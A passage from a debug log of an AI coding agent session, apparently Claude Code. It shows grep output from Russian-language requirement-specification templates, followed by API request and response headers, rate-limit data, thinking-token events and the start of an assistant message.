\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0432\u044b\u0445\u043e\u0434\u0430,\\n# \u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0438 \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0432\u044b\u043a\u043e\u043c \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0438\\n# \u0440\u0430\u0437\u0443 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u043f\u0443\u0441\u0442\u0443\u044e \u0432\u0435\u0442\u043a\u0443.\\nvocabulary: projections\\nclosed: true\\nversion: \\\"1.0\\\"\\nrule: >-\\n  \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438 (R-5). \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043b\u043e\u0442\u043e\u0432 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f\\n  \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438; \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f\\n  \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e: \u0434\u0432\u0430 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c\\n  \u0447\u0442\u0435\u043d\u0438\u0438 \u2014 \u0434\u0435\u0444\u0435\u043a\u0442, \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u044b\u0439 \u043e\u0442 F-MIXED.\\n\\nitems:\\n  - id: V-BIZ\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\\n    question: \\\"\u0437\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c\\\"\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-LIMITS, S-OPEN]\\n    wording_rule: >-\\n      \u044f\u0437\u044b\u043a \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432; \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\\n      \u0444\u043e\u0440\u043c\u0435 \u0446\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b\\n    default_format_class: F-SHORT\\n\\n  - id: V-APPROVE\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n    question: \\\"\u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\\\"\\n    # \u0420\u0430\u0437\u0434\u0435\u043b\u044b 1\u20136 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0434\u0435\u043b\u044c\u0442\u0430, \u0440\u0435\u0448\u0435\u043d\u0438\u0435,\\n    # \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0424\u0422 \u0438 \u0442\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-FR, S-SETTINGS, S-UI, S-SCENARIO, S-NFR, S-LIMITS, S-OPEN]\\n    key_slots: [S-FR, S-SCENARIO, S-UI]\\n    wording_rule: >-\\n      S-FR \u043d\u0435\u0441\u0451\u0442 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c\\n      \u0424\u0422-NN \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u00ab\u0447\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c\u00bb. S-SCENARIO \u0438 S-UI\\n      \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 \u00ab\u043a\u0430\u043a \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c\u00bb \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430: \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:72:| `V-DEV` | \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440, \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a | \u0447\u0435\u043c \u0438 \u0441 \u043a\u0430\u043a\u0438\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c: `S-AC`, `S-TRACE`, `S-INTEGRA\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:73:| `V-CONTRACT` | \u0441\u0442\u043e\u0440\u043e\u043d\u0430 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430 | \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: `S-FR` \u0432 \u0444\u043e\u0440\u043c\u0435 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, `S-AC` \\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:84:  \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`.\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:91:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:100:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-CONTRACT`\",\n[2026-09-29T07:50:20.086Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:50:20.086Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:50:20.086Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:50:20.086Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:50:20.086Z] [INFO]   }\n[2026-09-29T07:50:20.086Z] [INFO] }\n[2026-09-29T07:50:20.132Z] [STDOUT] [log_7f649e] sending request {\n[2026-09-29T07:50:20.147Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:50:20.151Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:20.154Z] [STDOUT]   options: {\n[2026-09-29T07:50:20.159Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:50:20.161Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:50:20.163Z] [STDOUT]     body: {\n[2026-09-29T07:50:20.165Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:50:20.168Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:50:20.171Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:50:20.173Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:50:20.175Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:50:20.178Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:50:20.181Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:20.184Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:20.186Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:20.188Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:20.191Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:20.197Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:20.219Z] [STDOUT]     },\n[2026-09-29T07:50:20.231Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:20.236Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:20.253Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:20.276Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:20.279Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:20.281Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:20.283Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:20.286Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:20.289Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:20.294Z] [STDOUT]     },\n[2026-09-29T07:50:20.298Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:20.300Z] [STDOUT]   },\n[2026-09-29T07:50:20.303Z] [STDOUT]   headers: {\n[2026-09-29T07:50:20.305Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:20.309Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:20.312Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:20.314Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:20.316Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:20.322Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:20.352Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:20.385Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:20.399Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:20.406Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1415\",\n[2026-09-29T07:50:20.414Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:20.417Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:20.420Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:20.423Z] [STDOUT]     \"x-client-request-id\": \"fad1f03b-5393-41a5-b75d-b3442a260096\",\n[2026-09-29T07:50:20.425Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:20.427Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:20.428Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:20.431Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:20.433Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:20.435Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:20.437Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:20.439Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:20.441Z] [STDOUT]   },\n[2026-09-29T07:50:20.444Z] [STDOUT] }\n[2026-09-29T07:50:21.048Z] [STDOUT] [log_7f649e, request-id: \"req_011CfXN8XcNztY1sqASi2XJa\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 912ms\n[2026-09-29T07:50:21.053Z] [STDOUT] [log_7f649e] response start {\n[2026-09-29T07:50:21.057Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:21.061Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:21.063Z] [STDOUT]   headers: {\n[2026-09-29T07:50:21.067Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:21.070Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:21.074Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:21.078Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:21.080Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:21.083Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.088Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:21.092Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:21.095Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:21.101Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:21.104Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:21.106Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:21.112Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:21.120Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.125Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:21.130Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:21.159Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:21.161Z] [STDOUT]     \"cf-ray\": \"a4296577ed5301ff-CDG\",\n[2026-09-29T07:50:21.164Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:21.169Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:21.173Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:21.176Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:21.180Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:21 GMT\",\n[2026-09-29T07:50:21.183Z] [STDOUT]     \"request-id\": \"req_011CfXN8XcNztY1sqASi2XJa\",\n[2026-09-29T07:50:21.186Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:21.189Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:21.192Z] [STDOUT]     traceresponse: \"00-e2da219a51b1aff4bccff1956d225e95-300f2a2c7d730b5e-01\",\n[2026-09-29T07:50:21.196Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:21.199Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:21.203Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:21.209Z] [STDOUT]   },\n[2026-09-29T07:50:21.215Z] [STDOUT]   durationMs: 912,\n[2026-09-29T07:50:21.218Z] [STDOUT] }\n[2026-09-29T07:50:21.222Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:21.226Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:21 GMT\",\n[2026-09-29T07:50:21.228Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:21.231Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:21.235Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:21.239Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:21.242Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:21.247Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:21.250Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:21.256Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:21.261Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:21.264Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:21.268Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:21.270Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:21.272Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:21.278Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:21.283Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:21.286Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.291Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:21.296Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:21.299Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:21.302Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:21.305Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.311Z] [STDOUT]   \"request-id\": \"req_011CfXN8XcNztY1sqASi2XJa\",\n[2026-09-29T07:50:21.319Z] [STDOUT]   \"traceresponse\": \"00-e2da219a51b1aff4bccff1956d225e95-300f2a2c7d730b5e-01\",\n[2026-09-29T07:50:21.325Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:21.333Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:21.341Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:21.351Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:21.364Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:21.367Z] [STDOUT]   \"cf-ray\": \"a4296577ed5301ff-CDG\",\n[2026-09-29T07:50:21.371Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:21.378Z] [STDOUT] [log_7f649e] response parsed {\n[2026-09-29T07:50:21.386Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:21.396Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:21.434Z] [STDOUT]   body: X {\n[2026-09-29T07:50:21.460Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:21.477Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:21.490Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:21.498Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:21.501Z] [STDOUT]     },\n[2026-09-29T07:50:21.504Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:21.507Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:21.515Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:21.521Z] [STDOUT]   },\n[2026-09-29T07:50:21.525Z] [STDOUT]   durationMs: 914,\n[2026-09-29T07:50:21.529Z] [STDOUT] }\n[2026-09-29T07:50:21.580Z] [INFO] {\n[2026-09-29T07:50:21.580Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:21.580Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:21.580Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:21.580Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:21.580Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:21.580Z] [INFO]   \"uuid\": \"d0bf1034-68ad-44b4-ae20-7901c8d04c97\"\n[2026-09-29T07:50:21.580Z] [INFO] }\n[2026-09-29T07:50:22.652Z] [INFO] {\n[2026-09-29T07:50:22.652Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:22.652Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:22.652Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:50:22.652Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:22.652Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:22.652Z] [INFO]   \"uuid\": \"0dfadd37-b5e3-41b0-8ed4-5963dd5fb7ed\"\n[2026-09-29T07:50:22.652Z] [INFO] }\n[2026-09-29T07:50:23.866Z] [INFO] {\n[2026-09-29T07:50:23.866Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:23.866Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:23.866Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:50:23.866Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:23.866Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:23.866Z] [INFO]   \"uuid\": \"c385a424-18b2-4219-b411-fffe0f3b3c3c\"\n[2026-09-29T07:50:23.866Z] [INFO] }\n[2026-09-29T07:50:27.162Z] [INFO] {\n[2026-09-29T07:50:27.162Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:27.162Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:27.162Z] [INFO]   \"estimated_tokens\": 470,\n[2026-09-29T07:50:27.162Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:27.162Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:27.162Z] [INFO]   \"uuid\": \"1f66cd29-a030-4803-b8ae-8b4d0186f73d\"\n[2026-09-29T07:50:27.162Z] [INFO] }\n[2026-09-29T07:50:27.178Z] [INFO] {\n[2026-09-29T07:50:27.178Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:27.178Z] [INFO]   \"message\": {\n[2026-09-29T07:50:27.178Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"id\": \"msg_011CfXN8YEaWVui23n68jHiS\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"content\": [\n[2026-09-29T07:50:27.178Z] [INFO]       {\n[2026-09-29T07:50:27.178Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:50:27.178Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:50:27.178Z] [INFO]         \"signature\": \"CAQSzw4KEAgSGAI4AUIIdGhpbmtpbmcSDG/srkt1AL2zIUWjFRoMhzPRMcWOWM0p+hODIjCkuPMYkXmZY41OL4dtwnQI4mldMRD4hHKIdjEKnjw0HLNuY4NAV/MgFXLWLeiHiiYq7A3FosEF0YORf7PhFTMb0JTMtCEsOFvHulP9KuWsLSZhFTawrFU7AclpA+FQEMEetYWrSQuYMFmXyTOhN3b8rGTQtRe09AU8IFPlcdcmR9RSOr3TS1m275+5QNXHd2asXw7GMrzJ3SoXLG3kvDP3keAoJxSKiJUqMfn58DnyOQIqBk0Y9jh9Vng95f3xQup3P3rdaiknGNHKUSxv282jntFE+Y6lep4nQht0tBrEQ582SL+g3whEQmKKTIBlmPEetK/Bv3V9X0ixhxXjcQOebHbFA+3XqGPEp9BjWwrHqBV90pT3fMP1dkrm3+vLYdjtJtSlcgX/F61Bz6MB1mnHd69c/1Bxhv7ddDMj/WdioxTCDiNPWYUeuNxex5fbS05xCg1S3RC7zkR+tIc2bpKZGcs3M9OPZmNLl3+Fv0jjpvSmT2gRgH74ucNO/rcB25FpIz+mLBIhoacR0/hUXJQ6sJXF7u3FP7woXCOGEllFQE11WTWYZWP/eXgc93KRwpnbd5YN7Ldf1rsUrpgxdbJtJwPo76+ec+cSSMhpxz/IgZxD62R5vO9WFawsnBWxaJdALFsitdEHzSaQE0nXe6dFangP/c4ZZndznXsBHO1flreQWPv9GcJfHy0sPXIWEeXwxuHIy2hqO+bdm7vvLrCb72LncuK3q0Du7/FzISi+i2WanVs1T8bsWwyp1jLKCpRsTbcQX/jpGu2/a3WTEfFx2foxgU3z84JkJ5GjiqGL15K+13biGIKPnIEuD2rLwhglnyPCsWhKBUYaJYAowa9fPMsBGocSkQWOch1u8QdTsCmPY92YDEaRLBs6QKFz9uAQxenBrfWbmeqxv9HH3SNSvlc8r8+WYGdZR3ZDcz/aghcrP3lMPWsQzbZVTel1zQxY7KrlEaDUVpbScVz0ym8k6Rk2UZP/xnbyp1YQeXs8grr0Y5mgdp5rvzOzcf6c5R4LwQHN/qiEUv6vQ2tkgN214y6/oaqd1B4za